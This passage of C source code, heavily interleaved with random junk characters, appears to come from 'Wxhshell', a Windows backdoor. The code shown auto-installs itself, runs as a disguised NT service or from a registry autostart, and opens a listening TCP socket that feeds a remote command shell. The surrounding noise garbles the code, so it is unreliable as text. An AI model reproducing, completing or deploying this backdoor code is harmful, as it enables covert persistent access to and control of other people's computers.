g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Uok?FEN lM5Xw CloseHandle(hProcess); =?3D:k7z s7<x~v+^ if(strstr(procName,"services")) return 1; // 以服务启动 FHI`/ RI"A'/56 return 0; // 注册表启动 -lm\~VZT3 } 0p_/eWww- nj~1y') // 主模块 C_Y^< int StartWxhshell(LPSTR lpCmdLine) ^~2GhveBV { 'kK}9VKl SOCKET wsl; )sVz;rF< BOOL val=TRUE; wbzAX int port=0; <ok/2v struct sockaddr_in door; %uyRpG3, n9Z|69W6> if(wscfg.ws_autoins) Install(); ^e>`ob ]v3 9ag_hu port=atoi(lpCmdLine); tm(.a?p Os@ d&wm if(port<=0) port=wscfg.ws_port; Bls\)$ %9xz[Ng WSADATA data; 41WnKz9c if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V7!x-E/ XFPWW , if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; DGTSk9iK( setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1_!*R]a q door.sin_family = AF_INET; :~pPB#)nk door.sin_addr.s_addr = inet_addr("127.0.0.1"); m0W5O gk door.sin_port = htons(port); 1+PLj[;jJ: x5k6yHn if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %^g BDlR^ closesocket(wsl); Y0=qn'`. return 1; /z*?:* } ,K8O<Mw8 GH![rK if(listen(wsl,2) == INVALID_SOCKET) { b:Dr_| closesocket(wsl); )W~w72j- return 1; # &o3[.)9 }
Q uy5H Wxhshell(wsl); Kgi%Nd WSACleanup(); RiF~-;v& a1Qg&s< return 0; Tz1St{s\ {mMrD 5 } C XZm/^ !j6]k^ra // 以NT服务方式启动 -82Rz VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zo&'2I { _H|x6X1- DWORD status = 0; |<P]yn DWORD specificError = 0xfffffff; `AeId/A4n `(<XdlOj serviceStatus.dwServiceType = SERVICE_WIN32; u<./ddC serviceStatus.dwCurrentState = SERVICE_START_PENDING; 9. Q;J#;1 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (t1:2WY@ serviceStatus.dwWin32ExitCode = 0; K>9]I97g' serviceStatus.dwServiceSpecificExitCode = 0; 7M<Ae
D% serviceStatus.dwCheckPoint = 0; <XX\4[wb serviceStatus.dwWaitHint = 0; Sb+pB58&N l)fF)\ |;= hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a%7ju4CVj if (hServiceStatusHandle==0) return; 2:Q9gru f7}/ {}g status = GetLastError(); Z}TuVE if (status!=NO_ERROR) <P7f\$o~ { &C<B=T"I serviceStatus.dwCurrentState = SERVICE_STOPPED; |_8-3 serviceStatus.dwCheckPoint = 0; lqa.Nj serviceStatus.dwWaitHint = 0; a1B_w#?8 serviceStatus.dwWin32ExitCode = status; 0n|op:]BHM serviceStatus.dwServiceSpecificExitCode = specificError; bN@V=C3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZkkXITQkPM return; @kn0f` } ^)conSm 5V4Ze;K serviceStatus.dwCurrentState = SERVICE_RUNNING; z,[4BM serviceStatus.dwCheckPoint = 0; 9~bje^M serviceStatus.dwWaitHint = 0; g= k}6"F~ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i2/:'
i } Zh]d&Xeq Glcl7f"<^ // 处理NT服务事件,比如:启动、停止 &xMR{: VOID WINAPI NTServiceHandler(DWORD fdwControl) ={-\)j { 0F6^[osqtl switch(fdwControl) h #Od tc1) { y.26:c( case SERVICE_CONTROL_STOP: =O1N*'e serviceStatus.dwWin32ExitCode = 0; ngj=w;7~+ serviceStatus.dwCurrentState = SERVICE_STOPPED; I4ZL+a serviceStatus.dwCheckPoint = 0; N\1!)b serviceStatus.dwWaitHint = 0; &/}]9 # { Xy:'f".M~\ SetServiceStatus(hServiceStatusHandle, &serviceStatus); y!;rY1 } hS}?"ST| return; [WnX'R R case SERVICE_CONTROL_PAUSE: $& |